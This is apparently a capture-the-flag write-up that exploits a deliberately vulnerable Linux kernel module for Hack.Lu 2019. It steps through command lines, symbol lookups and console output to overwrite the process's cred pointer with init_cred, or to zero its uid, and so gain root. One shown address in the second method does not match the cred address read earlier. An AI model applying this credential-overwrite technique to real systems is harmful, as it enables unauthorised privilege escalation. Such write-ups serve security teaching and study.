Hack.Lu CTF 2019: Baby kernel 2
Baby Kernel 2 - pwn , 202 pts, solves: 68
This post is a follow up to a quick writeup that I’ve posted on my github.
We are provided with a minimal kernel environment containing custom kernel module and client that communicates with it.
Having read/write
primitive in kernel space we can escalate our privileges by changing cred
field of the task_struct
of our current task. Provided System.map
file contains all symbols from the target kernel:
Obtaining current_task
address:
➤ grep 'D current_task' System.map
ffffffff8183a040 D current_task
Alternatively, we can read symbols directly from the kernel image:
(I have used this tool to decompress the kernel image.)
➤ readelf -Ws vmlinux | grep current_task
2165: ffffffff816d4df0 0 NOTYPE LOCAL DEFAULT 6 __ksymtab_current_task
2166: ffffffff816db115 13 OBJECT LOCAL DEFAULT 8 __kstrtab_current_task
20328: ffffffff8183a040 8 OBJECT GLOBAL DEFAULT 11 current_task
Let’s test if we can read from the current_task
address:
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 1
1
I need an address to read from. Choose wisely
>
0xffffffff8183a040
0xffffffff8183a040
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003372300
We have obtained task_struct
address from the current_task
. Now we have to get the offset to the task_struct->cred
(struct cred *cred
):
struct task_struct {
(...)
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
gef➤ ptype /o struct task_struct
/* offset | size */ type = struct task_struct {
/* 0 | 16 */ struct thread_info {
/* 0 | 8 */ unsigned long flags;
...
/* 1016 | 8 */ const struct cred *real_cred;
/* 1024 | 8 */ const struct cred *cred;
To escalate privileges to root we have to overwrite task_struct->cred
at offset 0x400
(1024) with the the pointer to the init_cred
struct, which contains credentials of the init
process that is running as root
:
➤ readelf -Ws vmlinux | grep init_cred
21812: ffffffff8183f4c0 120 OBJECT GLOBAL DEFAULT 11 init_cred
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
What is left to do is to spawn a shell with the new credentials - or like in our case, just use Read file
function that is now running with root
pivileges:
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 1
1
I need an address to read from. Choose wisely
>
0xffffffff8183a040 <- current_task
0xffffffff8183a040
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003373480 <- task_struct
task_struct @ 0xffff888003373480
task_struct->cred @ 0xffff888003373480+0x400
----- Menu -----
1. Readrandom: fast init done
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 2
2
I need an offset to write to. Choose wisely - seriously now...
>
0xffff888003373880 <-- task_struct->cred
0xffff888003373880
What about a value?
>
0xffffffff8183f4c0 <-- init_cred
0xffffffff8183f4c0
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
task_struct->cred = init_cred
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 3
3
uid=0(root) gid=0(root)
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 4
4
Which file are we trying to read?
> /flag
/flag
Here are your 0x35 bytes contents:
flag{nicely_done_this_is_how_a_privesc_can_also_go}}
Alternative approach
Instead of pointing the task_struct->cred
to the init_cred
, we could manually modify certain fields of the struct cred *cred
. We know that we can obtain struct cred
address from the task_struct->cred
.
Let’s redo everything step by step.
Reading task_struct
address from current_task
:
I need an address to read from. Choose wisely
>
0xffffffff8183a040 <- current_task
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003371180 <- task_struct
Our task_struct
address is 0xffff888003371180
. Now we can obtain the address of the struct cred *cred
that is referenced in the task_struct
at offset 0x400
. Let’s read 0xffff888003371180+0x400
I need an address to read from. Choose wisely
>
0xffff888003371580 <- task_struct + 0x400
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003393400 <- stuct cred
We know that struct cred *cred
is at 0xffff888003393400
.
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
gef➤ ptype /o struct cred
/* offset | size */ type = struct cred {
/* 0 | 4 */ atomic_t usage;
/* 4 | 4 */ kuid_t uid;
/* 8 | 4 */ kgid_t gid;
/* 12 | 4 */ kuid_t suid;
/* 16 | 4 */ kgid_t sgid;
/* 20 | 4 */ kuid_t euid;
/* 24 | 4 */ kgid_t egid;
/* 28 | 4 */ kuid_t fsuid;
/* 32 | 4 */ kgid_t fsgid;
/* 36 | 4 */ unsigned int securebits;
/* 40 | 8 */ kernel_cap_t cap_inheritable;
/* 48 | 8 */ kernel_cap_t cap_permitted;
/* 56 | 8 */ kernel_cap_t cap_effective;
/* 64 | 8 */ kernel_cap_t cap_bset;
/* 72 | 8 */ kernel_cap_t cap_ambient;
Now we can set, for example cred->uid
field at offset 4
, to 0
(root):
I need an offset to write to. Choose wisely - seriously now...
>
0xffff888003389704 <- struct cred + 4
What about a value?
>
0
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 3
uid=0(root) gid=0(root) euid=1000(user) egid=1000(user) groups=1000(user)
That’s it! Thanks